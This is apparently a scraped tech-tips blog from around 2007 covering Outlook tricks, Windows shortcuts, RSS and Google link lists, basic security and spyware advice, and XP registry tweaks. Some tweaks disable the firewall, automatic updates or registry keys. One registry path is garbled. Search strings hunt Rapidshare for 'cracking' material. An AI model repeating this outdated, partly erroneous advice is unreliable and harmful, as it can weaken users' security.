*****************************************************************************************************************
You are Done..
Next time You will not send a mail without a Subject in it..
Whenever you start outlook it will prompt you for enabling Macros where you select Yes.
Posted by jai at 1:15 AM 1 comments
Outlook Tips: Remove all items from Calendar
Follow the steps given below to remove all items from calendar..
Note: This method removes all items without asking for a confirmation. So use with caution.
1. Go to Calendar view using Shortcut Ctrl+2.
2. Go to View -> Arrange By -> Current View -> By Category.
3. Click on any one of the small calendar icons on the left-most row.
4. Select all items using Shortcut Ctrl+A.
5. Press 'Delete' or right-click and select delete in it.
You may go back to the usual Calendar 'View' mode by going to View -> Arrange By -> Current View -> Day/Week/Month.
You may go back to 'Mail' mode by clicking on the 'Mail' and then 'Folder List' buttons or using Shortcuts Ctrl+1 and then Ctrl+6.
Outlook Tips: Recovering Shift+Deleted mails
Follow the steps given below to Retrieve the mails deleted using Shift+Delete option..
MS Outlook 2000 and 2003 soft deletes the mails.
That is all copies of deleted mails including Shift+deleted are stored in PST file and can be recovered manually using the Recover Deleted Items option from the Tools menu
To Enable these Options:
By default this option is disabled in MS Outlook.
Use the following steps to enable this option..
1.Close Outlook
2.Open Windows registry editor (Run -> regedit)
3.Browse to My Computer\HKEY_LOCAL_MACHINE\Software\Microsoft\Exchange\Client\Options registry key
4.On the Edit menu, point to New, and then click DWORD Value.
Type the name DumpsterAlwaysOn (Note: Case sensitive Do not type any spaces in the name).
5.Set the DWORD value to 1 to turn the Recover Deleted Items menu choice on for all folders or enter 0 to turn it off.
6.Restart Outlook.
Note:This procedure can recover mails which were deleted by pressing shift+del in the past 4 days only.
All the Windows registry changes if incorrectly done may damage your system.
Outlook Tips: Recalling Mails Sent
Follow the given steps below to Recall the sent mails..
1.Go to the Sent Items folder.
2.Open the message to be recalled.
3.Actions -> 'Recall This Message'.
4.To recall the message -> 'Delete unread copies of this message'
5.To replace the message -> 'Delete unread copies and replace with a new message'
6.To be notified about the success of the recall or replacement, select 'Tell me if recall succeeds or fails for each recipient' check box.
If there are multiple recipients, you can request notification of whether the recall succeeded or failed for each one (so that you can take necessary steps).
Note: Even after successfull recalling of the message, the recipient still knows that you sent a message and then recalled it. Further more this will work only for mails sent within the a company or a Domain, others will get a plain text mail stating that you attempted to recall.
MMC Console Window Keyboard Shortcuts
CTRL+P (Print the current page or active pane)
ALT+Minus sign (-) (Display the window menu for the active console window)
SHIFT+F10 (Display the Action shortcut menu for the selected item)
F1 key (Open the Help topic, if any, for the selected item)
F5 key (Update the content of all console windows)
CTRL+F10 (Maximize the active console window)
CTRL+F5 (Restore the active console window)
ALT+ENTER (Display the Properties dialog box, if any, for the selected item)
F2 key (Rename the selected item)
CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)
Remote Desktop Connection Navigation
CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
ALT+PAGE UP (Switch between programs from left to right)
ALT+PAGE DOWN (Switch between programs from right to left)
ALT+INSERT (Cycle through the programs in most recently used order)
ALT+HOME (Display the Start menu)
CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
ALT+DELETE (Display the Windows menu)
CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)
CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)
Plain Text– Rich Text – HTML?
Why is it that in some messages that you reply to, you can change the font and make standard formatting changes just like a word processor but others you can not? The format of the message determines the flexibility you have when replying to or creating a new email message. There are three standard formats for an email message. They are described below.
* Plain Text - A plain text message is an email message that does not include colors, fonts or formatting. It is the most basic type of email that is easily readable by all e-mail clients today. It does not support pictures displayed directly in the message body (although you can include them as attachments).
* Rich Text - Outlook Rich Text Format (RTF) is a Microsoft format that only some e-mail programs understand, mainly the Microsoft Office Outlook clients. You can use RTF when sending messages within a company that uses Microsoft Exchange Server ( i.e. OSU). RTF supports text formatting, including bullets, alignment, and links.
* HTML Format – HTML supports text formatting, numbering, bullets, alignment, horizontal lines, pictures (including backgrounds), HTML styles, stationery, signatures, and linking to Web pages. This type of format provides the greatest range of formatting possibilities.
When using Outlook, how do I make changes or choose a Format?
How to change the format of your message depends on if you have Word as your email editor. To determine if Word is your editor, do the following:
In Outlook Click Tools – Options
Click on the Mail Format tab
If the "Use Microsoft Word to edit email messages" is checked then Word is your editor. Please use the instructions below for MS Word as your editor.
Otherwise please use the instructions below for Word is not your editor.
MS Word as your editor
When composing a message with Word as your email editor you have the option of creating a message in Plain Text, Rich Text or HTML Format. In the email, you can choose your format via the format toolbar drop down menu.
MS Word is not your editor
If Word is not your email editor, select the Format menu in the email and click the format you would like to use - Plain Text, Rich Text , or HTML.
When replying to an email message, you can also change the message format. With the message open, select the Format menu; click the format you would like to use (Plain Text, HTML, or Rich Text).
When should you use one type of format over another?
Rich Text can be used in place of Plain text when you are in an environment that uses one of the Microsoft Outlook email clients. CN recommends using Rich Text formatted messages to give you additional formation features. Email clients that can't support rich text formatted messages will simply drop the formatting and show them in plain text.
HTML formatting should only be used when there is a need to insert graphics or specifically format a message to look a certain way. While Outlook can display HTML messages please keep in mind that not all e-mail programs can.
If you have questions about the different formats or would like advice on which format is best to use please contact your CN support team.
Take the complete training here http://tss.oregonstate.edu/cn/soft_tips/docs/outlook/?page=mail-format&type=normal
Posted by jai at 6:30 AM 1 comments
Friday, December 21, 2007
Some Usefull RSS:
Add these RSS feeds to your Web pages and keep them updated.
101 Cookbooks
http://www.101cookbooks.com/index.rdf
About Today
http://z.about.com/6/nl/rss/todaysl.xml
BusinessWeek Online
http://www.businessweek.com/rss/bwdaily.rss
CNN.com Recently Published/Updated -
http://rss.cnn.com/rss/cnn_latest.rss
Cricinfo cricket news
http://www.cricinfo.com/rss/index.rdf
CyberMedia India Online Limited - IT News
http://www.ciol.com/RSS/CIOL-ITNews.xml
Dictionary.com Word of the Day
http://dictionary.reference.com/wordoftheday/wotd.rss
Discovery News Top Stories : Discovery Channel http://dsc.discovery.com/news/topstories.xml
Engadget
http://www.engadget.com/rss.xml
ESPN.com
http://sports.espn.go.com/espn/rss/news
Expressindia
http://www.expressindia.com/syndications/ei.xml
Fodor's Travel Wire
http://www.fodors.com/blog/index.rdf
Fool.com: The Motley Fool
http://www.fool.com/About/headlines/rss_headlines.asp
Forbes.com: Most popular stories
http://www.forbes.com/feeds/popstories.xml
Funny Quote of the Day
http://www.brainyquote.com/link/quotefu.rss
Hilarious Jokes on Funtoosh.com
http://www.funtoosh.com/rss/latest_jokes.php
International Herald Tribune
http://www.iht.com/rss/frontpage.xml
Medindia Health News
http://www.medindia.net/rss2.0/rss.xml
News items on ZDNet
http://news.zdnet.com/2509-1_22-0-5.xml
News-Indiatimes Cricket
http://cricket.indiatimes.com/rssfeeds/864838.cms
Official Gmail Blog
http://gmailblog.blogspot.com/atom.xml
Official Google Blog
http://googleblog.blogspot.com/atom.xml
orkut Blog
http://en.blog.orkut.com/atom.xml
Quote of the Day
http://www.brainyquote.com/link/quotebr.rss
Reuters: Oddly Enough
http://www.reuters.com/rssFeed/oddlyEnoughNews?irpc=69
The Economic Times- News- Economy- Finance http://economictimes.indiatimes.com/rssfeeds/1286551815.cms
The Financial Express -
http://www.expressindia.com/syndications/fe.xml
Wired Top Stories
http://www.wired.com/news/feeds/rss2/0,2610,,00.xml
Yahoo! News: Entertainment News
http://rss.news.yahoo.com/rss/entertainment
AnandTech Article Channel
http://www.anandtech.com/rss/articlefeed.aspx
Add CNET
News.com http://news.com.com/2547-1_3-0-5.xml
Add Emergic
http://emergic.org/index.xml
Add Slashdot
http://slashdot.org/rss/slashdot.rss
Add SPACE.com
http://www.space.com/syn/space.xml
Add Wired Politics
http://www.wired.com/news/feeds/rss2/0,2610,4,00.xml
Add Wired Top Stories
http://www.wired.com/news/feeds/rss2/0,2610,,00.xml
Well These are the list of Services Provided by Google some are known but some are not , so here get them all!!!!
Google AdSense : https://www.google.com/adsense/
Google AdWords : https://adwords.google.com/select/
Google Analytics : http://google.com/analytics/
Google Answers : http://answers.google.com/
Google Base : http://base.google.com/
Google Blog Search : http://blogsearch.google.com/
Google Bookmarks : http://www.google.com/bookmarks/
Google Books Search : http://books.google.com/
Google Calendar : http://google.com/calendar/
Google Catalogs : http://catalogs.google.com/
Google Code : http://code.google.com/
Google Deskbar : http://deskbar.google.com/
Google Desktop : http://desktop.google.com/
Google Directory : http://www.google.com/dirhp
Google Earth : http://earth.google.com/
Google Finance : http://finance.google.com/
Google Groups: http://groups.google.com/
Google Images : http://images.google.com/
Google Labs : http://labs.google.com/
Google Local: http://local.google.com/
Google Maps : http://maps.google.com/
Google Mars : http://www.google.com/mars/
Google Mobile : http://mobile.google.com/
Google Moon : http://moon.google.com/
Google Movies : http://www.google.com/movies
Google Music: http://www.google.com/musicsearch
Google News : http://news.google.com/
Google Pack : http://pack.google.com/
Google Page Creator : http://pages.google.com/
Google Personalized Home… : http://www.google.com/ig
Google Personalized Search : http://labs.google.com/personalized
Google Reader : http://www.google.com/reader
Google Scholar : http://scholar.google.com/
Google Search History : http://www.google.com/searchhistory
Google SMS : http://www.google.com/sms/
Google Suggest : http://www.google.com/webhp?complete=1
Google Talk : http://talk.google.com/
Google Toolbar : http://toolbar.google.com/
Google Transit Trip Planner : http://www.google.com/transit
Google Translate : http://www.google.com/translate_t
Google Video : http://video.google.com/
Google Web Accelerator : http://webaccelerator.google.com/
Google Web API : http://www.google.com/apis/
Google Web Search : http://www.google.com
Computer security is an ever present concern that evolves constantly. One reason why computers and the programs we use are so vulnerable is that they are incredibly complex. The more complex they become, the more likely they are to have security gaps.
On the other hand, the more they can store and do, the more we value them. With so much potential for doing things locked within every computer and program, it shouldn't be surprising that a clever computer hacker can manipulate or break codes to wreak havoc on the whole system. This is why we also need security systems. Unlike the programs that they protect, security systems are valuable because of how many things they make hard to do.
If your company uses a network of computers to store, transfer and process information, you can't afford to leave that system vulnerable to attacks. New viruses and worms come out every year and without the right protection, your computers could be among the millions that are knocked completely out of commission.
In addition to blocking harmful viruses, it is just as important to guard against invaders who want to access confidential information about your business and your clients. Hackers are among the most innovative group of computer geeks in the world. If there's a vulnerability anywhere in any of your systems, they can find it.
Ways to Keep Your Network Secure and Running
There are many ways to tighten security on computer networks. A few forms of protection include anti-virus software, firewalls, intrusion prevention systems (IPS), information encryption, and user authentication safe guards. Armed with these tools, your Dallas network security will be a discouraging target for predators.
One thing to keep in mind though when you start the task of securing your system is the need for network security in addition to individual computer security. You may have armed each computer with a couple different kinds of protection, but if even one computer becomes infected with a virus or a worm, the problem will quickly spread to all the computers within your network.
If you and your staff don't have the expertise to diagnose security weaknesses in your network and provide the necessary remedies, there are many professionals who can. If you want, they can also maintain the systems they service. Network security is vital to your businesses success. Be sure you don't go with amateurs.
What to Look for in a Network Security Specialty Firm
When it comes to network security, it's hard to argue with a strong record of success. Watch for a network security company that has a list of happy clients. The larger the client, the larger target they probably are for hackers, so big names are a good thing.
Security testing is another key factor. No network can be made 100% secure and still be usable. A good firm will employ computer specialists whose job it is to hack systems. Through these means, they'll find and weaknesses in a system and be able to work towards securing it.
Probably one the biggest notions among computer users is that if they are not online, they are safe from identity theft. Their reasoning is that, if they are offline, they are not vulnerable to phishing, viruses, malware, hackers, etc. While, it is true that being offline would protect them from such things, to fall into the belief that they are safe is being somewhat blind to other possibilities for id theft.
Even people who are connected to the Internet fall into a false sense of security. How? Computer users think that once they install a firewall, get adware, malware, and virus protection. Throw into all that, phishing protection. They get lulled into that invulnerable feeling. They think they are safe.
But are they? Among the many ways to steal data from a computer is through the peripheral data ports. They can be hooked up to printers, external disk drives, etc. Still another way to steal data has been the use of cds or floppy disks. This is done by actually stealing the disks themselves or dumping data onto them. In most cases, this can be done without the computer's owner ever knowing.
Along the same ideas, hard drives can be stolen or broken into. This is alot easier than one might think. Here's how. Hard drives fail. There's nothing that can be done about that. We get them replaced, reload the software, and move on with our lives.
But what about that old hard drive? Even if it has crashed, data can still be harvested from it. In some cases, it is not easily done. There are softwares written to help map the crashed disk and retrieve information off of it. This software is used by legitimate, reputable companies as a means of data reclamation for their clients. It is also used by thieves to steal personal and company data.
Another way to break into a computer involves the thief using his or her own floppy disk or cd to boot your system. With this method, they can bypass your security features and gain direct access to your data.
Even more recently, with the advent of flash drives, it is easier to steal data and conceal it. These small devices are roughly the same size as a man's finger and are hard to detect when concealed. They can be stolen or lost very easily due to their small size.
When it comes to dealing with these issues, many businesses are removing the extra disk drives from computer work stations. They are also networking their printers, etc. to monitor information flow.
Hard drives can be rendered totally useless by drilling holes in the cases and drives. Still another way to do this is by burning the hard drive.
Certain types of flash drives are being built with security features in place to aid in preventing theft. By using a security system which encrypts the data, it adds a measure of protection not offered by Microsoft. This encryption feature is called Advanced Encryption Standard (AES) symmetric encryption. It is considered to be the best encryptions systems for flash drives. It should also be noted that it is not the only form of encryption available. Many versions of encryption are designed with the user in mind (I.E. ease of use).
The final problem deals with the users themselves. Often times, the user will be careless with with their user name and password information. They sometimes will paste it to their computer or somewhere close to it. In this case, it is always best to either commit this information to memory or store it in a very secure place.
When you start MSN Messenger, you are unable to sign in, the following message is displayed after the sign in process is interrupted.
“Sorry, we were unable to sign you in to the MSN Messenger at this time. Please try again later.
To let us try and troubleshoot the problem, click the Troubleshoot button.”

Causes
1.The system clock may be set incorrectly.
2.The Dynamic Link Library (DLL) softpub.dll, may not be registered on the system.
3.Internet Explorer may be using an invalid proxy server.
Resolutions
Double click on the clock in the taskbar and make sure the system clock is set correctly.
Register softpub.dll using the regsvr32.exe tool.
Click Start, and then click Run.
In the Open box, type regsvr32 softpub.dll and then click OK.
Restart MSN Messenger.

Remove any Internet Explorer proxy server settings
In Internet Explorer, click Tools and then click Internet Options.
In the Internet Options dialog box, go to the Connections tab.
Click LAN Settings…
Untick the Use a proxy server for your LAN (These settings will not apply to dial-up or VPN connections) checkbox.
Click OK and OK again Internet Options
Just go to Google.com and paste this string there ..
site:rapidshare.com inurl:users "Anything you want to search for"
site:rapidshare.de inurl:users "cracking"
site:rapishare.com inurl:files "web hacking"
site:rapidshare.de inurl:files "tips and tricks"
If your computer has become plagued with Spyware, you are no doubt in need of a solution to rid you of Spyware without ridding you of needed programs and essential processes. To do this, you have two options: manually removing Spyware from your PC, or using an anti-Spyware program to automate the process of removing it.
This article will also help you increase the speed and performance of your computer by teaching you to maintain which programs run automatically when Windows starts up.
Manual Removal of Spyware and Other Pesky Programs
Not all Spyware can be removed manually. Spyware, like viruses, can be very stubborn. (If it is, you may need to get a Spyware remover program.) A lot of Spyware, however, was downloaded and installed willfully by you (perhaps without your realizing it). Aside from prevention (such as being careful when you download and install things not to just click arbitrarily to every dialog), there are a few ways to check to see if things are running on your computer that you do not wish to have running.
Not all unwanted programs that may be running will be Spyware. You may, for example, have a messenger you no longer use or a special feature program that came with your printer or another device.
Spyware are usually programs. In order to manually stop certain programs which may be running and stop them from running in the future, you can do the following. To determine what is currently running, click CTRL+ALT+DEL buttons all at once. This brings you to a feature of Windows called Task Manager. (You can also reach this by going to START Run, typing taskmgr.exe and clicking OK.)
Under the applications tab youll see the main programs you have running such as Internet Explorer, messengers, Word docs, etc. This isnt everything thats running, though! Click the Processes tab and youll see a lot of processes running. Anything that ends in .exe is a program running. (This [dot]exe extension means executable which means program, essentially.)
Browse through this Processes list and identify what is running. Watch out particularly for files that end in [dot]dll as this is an extension often used by viruses; not all [dot]dll files are harmful, though. To determine whether a process is needed, unneeded, or malicious, type in the full name of the process into Google (including the [dot]exe, all as one word) and read about what the program is and what it does.
Links in your Google results will explain the nature of the program, how important it might be for the proper operation of your computer, and whether it poses a threat to the integrity of your system.
Once you find a program you do not want running, return to task manager and go to the Processes tab again. Right-click the unwanted process and choose End Process. Do this for each unwanted process. (For example, if you use iTunes but do not have an iPod, you dont need ipodservice.exe running, which is installed automatically when you install iTunes).
Now that you have stopped the program, nothing will prevent it from running again next time you start your computer, unless you instruct your computer otherwise. To stop programs from starting up automatically when Windows boots up, go to START-Run, type msconfig, and click OK. Check Selective Startup. Go to the Startup tab and uncheck anything you dont want running. Click OK.
It will ask if you want to restart now or later. Choose a later if you have any unsaved work running in other programs. (Save or print this page if you are following along with and attempting this now, before restarting.)
After restarting, your computer will tell you that you have chosen to use the selective startup. Check the little box that says not to show this message when Windows starts. Go back into task manager and verify that the things you unchecked in the msconfig Startup list are not running. If they are, go back to mscofig and uncheck things under the startup tab again. If this process doesnt work after trying it a couple times, it may be time for an anti-Spyware program or an IT professional to address your computer.
If you are successful in the manual removal of these, you will notice not only an increase in privacy but also an increase in speed and performance. Dont forget to go to START Control Panel Add/Remove Programs and browse through that list, too. Uninstall anything on your computer that you dont want or need.
If you are unsure what something is, Google the name of it to find out. The fewer programs you have installed (especially unneeded ones) the faster your computer will run. This is also true about how full your hard drive is. Try to keep several gigs free at all times. Check this by going to My Computer and right-clicking the C: drive. Empty your recycle bin regularly.
Using a Spyware Remover Program:
If you are unable to remove the Spyware from your computer manually, look online and read about anti-Spyware programs to determine which is best for your situation and preferences is.
Even if you do use anti-Spyware and anti-virus software, always be proactive and aggressive about maintaining your computer. Dont expect third-party software to do all the work! If you dont have the money for professional computer check-ups, ask a friend who has a knack for such things.
run -> msconfig - Hit Enter
Awesome tricks Explained here for u Free! :
Whenever you start your computer, you are faced with a few moments of thumb twiddling while Windows XP boots and prompts you to log on. Although you should expect to wait for a few moments, sometimes Windows XP seems to boot rather slowly. In fact, you may notice that over a period of time the PC that used to roar to life seems a bit sluggish instead. Fortunately, you can perform several techniques that help Windows XP get the bootup speed you want. This Article explores how to put these techniques to work.
Stopping Unneeded Startup Services !
Along with the core operating system and programs that Windows XP runs when it starts, there is also a host of services involved. Many of these services are necessary for Windows XP to operate correctly. However, many of them are for features in Windows XP that you may not use at all. You can peruse the services and disable any service that you do not want to run. The fewer services that run, the more quickly Windows XP will boot.
Caution:
Exercise caution when stopping services. If you do not know what a service does or are unsure of the ramifications of stopping the service, leave it alone. Some services are critical to Windows XP's operations, so make sure you understand what the service is before you disable it.
To reduce the number of services that start on bootup, you can access two different areas of Windows XP. The first is the System Configuration Utility. The Services tab shows you the services that start when the computer boots.
You can stop a service from starting by simply clearing the check box next to the service and clicking OK. However, before you do so, there is another way to disable services that you may prefer because the interface gives you more information about the service in question.
Open Control Panel/Administrative ToolsServices or else select Start/Run, type services.msc, and click OK. Either way, you see the Services console.
I prefer to use the Services console instead of the System Configuration Utility because it describes what the service does. Additionally, you can double-click a service and examine its properties.
Notice the Startup Type column in Figure 4-2. This information lists whether the service is automatic or manual. Manual services are only started in Windows XP when you start a process that requires the service. Some other process may require the service that has a "dependency" relationship with it; in this case, the dependency service will start, as well. Because these services do not start automatically when you boot Windows XP, you do not need to do anything with manual services.
However, all services listed as automatic start when Windows XP boots. These are the services that increase boot time. As I have mentioned, many of them are necessary and important, so you should not stop automatic services from booting unless you are sure of the ramifications. You can get this information by looking at the Description column. Here's a quick look at common services you may want to live without:
SPEED UP BOOT BY DISABLING UNUSED PORTS.!!
You may have tried many tweaks like modifying windowsXP start-up applications, prefetches, unload DLLs method,etc. And yes those methods do work for me.
I have just accidentally found out another way to give you an extra boost in windowsXP's boot performance. This is done by disabling your unused devices in
Device Manager. for example, if you don't have input devices that are connected to one of your USBs or COM ports, disabling them will give you an extra perfromance boost in booting. Go to Control Panel -> System -> Hardware tab -> device manager Disable devices that you don't use for your PC and then restart.
Do Dis !!
1.Start Registry Editor (Regedit.exe).
2.Locate the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\PrefetchParameters
3.Make sure you backup the keys by exporting them to a .reg file.
4.On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).
5.Close the registry editor.
6.Restart your computer
Automatic Updates !
This service enables Windows XP to check the Web automatically for updates. If you don't want to use Automatic Updates, you can disable the service. You can always check for updates manually at the Windows Update Web site.
Computer Browser: If your computer is not on a network, you don't need this service. If you are on a network, leave it alone.
DHCP Client: If you are not on a network, you do not need this service. If you are on a small workgroup, you can still increase boot time by configuring manual IP addresses (which I explore later in this chapter).
DNS Client: If you are not on a network, you do not need this service. If you are, leave it alone.
Error Reporting and Event Log: You don't have to use these services but they can be very helpful, so I would leave them configured as automatic.
Fax: If you don't use your computer for fax services, you can disable this one.
Help and Support: If you never use the Windows XP Help and Support Center (found on the Start menu), you can disable this service.
IMAPI CD-Burning COM: This service enables you to burn CDs on your computer. If you never burn CDs, you can disable the service.
Indexing Service: Your computer keeps an index of files but if you rarely search for files, the service is just a resource hog. You can stop it and turn the service to manual.
Windows Firewall/Internet Connection Sharing: If you do not use these features, you can disable them.
Infrared Monitor: If you do not use infrared devices, you can disable this service.
Messenger: This service sends alert messages on a local area network (it is not the same as Windows Messenger). If you are not on a network, you can disable this service.
Print Spooler: If you do not do any printing from the computer, you can disable this service. If you print, make sure you leave it as automatic.
Remote Registry: This service allows remote users to modify the Registry on your computer. If you are not on a network, you can disable this service.
System Restore Service: This service allows you to use System Restore. If you have turned off System Restore anyway, you do not need to turn off the service. If you do, you turn off System Restore.
Themes: If you do not use themes, you can disable this service.
Windows Image Acquisition: If you do not use scanners or digital cameras, you can disable this service.
Wireless Zero Configuration: If do not use wireless networking devices, you can disable this service.
You may have a number of other automatic services, depending on software and other configurations on your computer. So it's a good idea to look through the services and learn more about them. If you double-click a service, a Properties dialog box appears
Notice that on the General tab, you see a Startup Type drop-down menu. If you want to change an automatic service to manual, select Manual here and click OK. As a general rule, don't disable a service unless you are sure you will never use it. However, manual configuration allows the service to be started when you find it necessary, thus speeding up your boot time.
However, before you change a service to manual, look at the Dependencies tab (see Figure 4-4). This tab shows you which other services depend upon the service you are considering changing.
Keep in mind that services are necessary for the vast functionality you get with Windows XP. Change only those services that you understand and do not use. How you use your Windows XP computer should be the best guide in terms of optional startup services.
Tip !
The Indexing service and the System Restore service take up a lot of disk space and system resources across the board. You can live without the Indexing service but I suggest that you keep using System Restore. It works great when you are in a bind and this is one case where the loss of speed may not be worth the ramifications of not using System Restore.
Speed Tips and Tricks for Windows XP Startup
Aside from startup programs, services, and the Prefetch folder, there are a number of other startup procedures and issues you can modify to help Windows XP start faster. The following sections explore those tips and tricks.
Manual IP Addressing on Small Office/Home Networks
Windows XP is configured to help you take care of networking. It uses the TCP/IP protocol for networking in workgroups, or what you might call small office or home networks that do not use a dedicated server.
The problem is that automatic IP addressing can be slow. When your computer boots, it has to query the network to see what IP addresses are already in use and then assign itself one. If you want to speed up the boot time a bit, consider manually assigning IP addresses to all computers on the network. This way, the network computers do not have to worry about locating an automatic IP address. Because one is manually configured, the operating system doesn't have to spend time solving this problem.
This isn't a networking book, however, so I won't delve into the implications of using a manual IP address, but if you are using a computer that functions as a host computer to the Internet (using Internet Connection Sharing [ICS]), you can get into connectivity problems if you change the configuration of the IP address. However, you can still work around this problem by starting with the ICS host computer.
Select Start/Connect To/Show All Connections. Right-click your network adapter card and click Properties. On the General tab, select TCP/IP in the list of services and click the Properties button.
In the TCP/IP properties, you can see if you use an automatic or manual IP address. In the example in Figure 4-5, I have configured a manual IP address of 90.0.0.1 and a default subnet mask. The other computers on my office network each use a different IP address in the same class, such as 90.0.0.2, 90.0.0.3, 90.0.0.4, and so on. This way, each computer has a permanent IP address, which helps increase boot time. Note that if you change the IP addresses of your computers, they must all use the same subnet mask. A default subject mask of 255.255.255.0 will keep you in good shape.
Make sure you understand the implications of changing IP addresses on your network. If you have no networking experience at all, you may be wiser to leave the automatic IP addressing as is and try to gain some speed using the additional suggestions in this chapter.
Disabling Recent Documents History !
Windows XP includes a feature that keeps track of all recent documents you have opened or used. The idea is that you can select Start/Recent Documents History and quickly reopen any document you have recently used. I use many documents each day and never use the feature myself. In my opinion, I can keep up with what I want to use without Windows XP doing it for me.
The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down. So, if you never use the Recent Documents History, it's a good idea to disable it. Here's how:
1. Open the Registry Editor (select Start/Run, type regedit, and click OK).
2. Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\ CurrentVersion\Policies\Explorer.
3. Create a NoRecentDocsHistory D_WORD key. Double-click the value to open it once it is created.
4. Set the Data Value to 1 to enable the restriction.
5. Click OK and close the Registry Editor. You'll need to restart the computer for the change to take effect.
Disabling the Boot Logo !
You can remove the boot logo that appears when you start Windows XP. This little tweak probably shaves only a few seconds off your boot time but seconds count if you are serious about trying to get Windows XP up and running as quickly as possible. The only negative is that if you remove the boot logo, you will also not see any boot messages, such as check disk. (But if you are not having problems with your computer, this isn't such a big deal.)
To remove the boot logo, follow these steps:
1. Select Start/Run, type msconfig, and click OK.
2. In the System Configuration Utility, click the BOOT.INI tab.
3. On the BOOT.INI tab, click the NOGUIBOOT check box option. Click OK.
Removing Unwanted Fonts !
One trick that increases your boot time a bit is to lose any fonts in the Fonts folder in Control Panel that you never use. The more fonts you have, the more processing Windows XP has to do to prep all of those fonts for use. You must be a bit careful here to not remove fonts that you might want, but there is a good chance that you can live without many of them. For instance, you may have foreign language fonts and other symbol fonts (such as Wingdings) that you never use.
To delete unneeded fonts, follow these steps:
1. Open the Fonts folder in Control Panel.
2. Select Edit/Select All and then Edit/Copy.
3. Create a new folder on your desktop, open it, and select Edit/Paste.
4. In this new folder, delete any of the fonts you do not want.
5. Return to the Fonts folder in Control Panel. Right-click the selected fonts and click Delete.
6. Go back to your new desktop folder and click Edit/Select All.
7. Return to your Fonts folder and click Edit/Paste. You now have only the desired fonts in the Fonts folder.
Tip:
You can directly delete fonts from the Fonts folder without creating the secondary folder. However, I recommend the preceding steps to help ensure that you do not make a mistake in the deletion process.
Stopping Remote Assistance and Remote Desktop Sharing !
In Windows XP Professional, you have two remote networking features called Remote Assistance and Remote Desktop Sharing. These remote networking features are very helpful in a variety of situations but if you don't use them, it is good idea to disable them to save boot time. You can always enable them later if you want to use them.
Note:
If you are interested in using Remote Desktop or Remote Assistance, see my book Windows XP for Power Users: Power Pack published by John Wiley & Sons.
1. Open the Start menu, right-click My Computer, and choose Properties.
2. Click the Remote Tab.
3. Clear both check boxes to disable Remote Assistance and Remote Desktop.
Speeding Up the Dual-Boot Timeout !
If you dual-boot your computer with Windows XP and another operating system, you see an operating system selection menu on startup. If you typically boot into Windows XP and not the other operating system, you can speed up the dual-boot timeout value so that you do not wait so long for the boot process to select your default operating system and continue with the boot process. The default timeout value is 30 seconds but you can change this setting to 10. This gives you enough time to select the alternate operating system if you want but also speeds up the boot process. You can skip this section if you do not use a dual-boot configuration.
Follow these steps:
1. Locate the boot.ini file on your computer. It is a hidden file by default; mine is located in C:\boot.ini.
2. Open the file with Notepad (which is what opens it by default).
3. Change the Timeout value to 10 (see Figure 4-11).
4. Select File/Save and close Notepad.
Speeding Up Your PPPoE Connection !
If you use a Point-to-Point Protocol connection over Ethernet (PPPoE), you may notice a delay in using the PPPoE connection after startup. By default, there is a 120 second delay but you can stop this behavior by manually configuring an IP address for the network adapter card. If you do not use a PPPoE connection, you can skip this section.
1. Select Start/Connect to/Show All Connections.
2. Open the TCP/IP properties for your LAN network interface card.
3. Manually set the IP address on the TCP/IP properties to an appropriate IP address and subnet mask for your network.
Reducing the Wait Time
When you start to shut down Windows XP, it has to quit, or "kill," any live applications or processes that are currently running. So close all applications first. However, some applications and processes are always running in the background. You can reduce the amount of time that Windows XP waits for those applications and processes to close before Windows XP kills them. Edit three different Registry settings to change this:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop. Select WaitToKillAppTimeout and set the value to 1000.
3. Select the HungAppTimeout value and set it to 1000 as well.
4. Navigate to HKEY_USERS\.DEFAULT\Control Panel\Desktop. Set the WaitToKillAppTimeout and set the value to 1000. Select the HungAppTimeout \newline value and set it to 1000 as well.
5. Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control. Select the WaitToKillServiceTimeout value and set it to 1000.
6. Close the Registry Editor.
Automatically Killing Tasks on Shutdown !
You know the drill. You start to shut down the computer, you wait a few moments, and then you see a dialog box asking if you want to kill an application or service that is running. Instead of prompting you, you can make Windows XP take care of the kill task automatically. Here's how:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop.
3. Highlight the value AutoEndTasks and change the value to 1.
4. Close the Registry Editor.
More
Here's a great tip to speed up your browsing of Windows XP machines. Its actually a fix to a bug installed as default in Windows 2000 that scans shared files for Scheduled Tasks. And it turns out that you can experience a delay as long as 30 seconds when you try to view shared files across a network because Windows 2000 is using the extra time to search the remote computer for any Scheduled Tasks. Note that though the fix is originally intended for only those affected, Windows 2000 users will experience that the actual browsing speed of both the Internet & Windows Explorers improve significantly after applying it since it doesn't search for Scheduled Tasks anymore. Here's how :
Open up the Registry and go to : HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace Under that branch, select the key : {D6277990-4C6A-11CF-8D87-00AA0060F5BF} and delete it. This is key that instructs Windows to search for Scheduled Tasks. If you like you may want to export the exact branch so that you can restore the key if necessary. This fix is so effective that it doesn't require a reboot and you can almost immediately determine yourself how much it speeds up your browsing processes.
Isn't it annoying when you want to go to a new website, or any other site but your homepage, and you have to wait for your 'home' to load? This tweak tells Internet Explorer to simply 'run', without loading any webpages. (If you use a 'blank' page, that is still a page, and slows access. Notice the 'about:blank' in the address bar. The blank html page must still be loaded..). To load IE with 'nothing' [nothing is different than blank]:1. Right-click on any shortcut you have to IE[You should create a shortcut out of your desktop IE icon, and delete the original icon]2. Click Properties3. Add ' -nohome' [with a space before the dash] after the endquotes in the Target field.4. Click OKFire up IE from your modified shortcut, and be amazed by how fast you are able to use IE!
INTERNET EXPLORER SPEED UP.
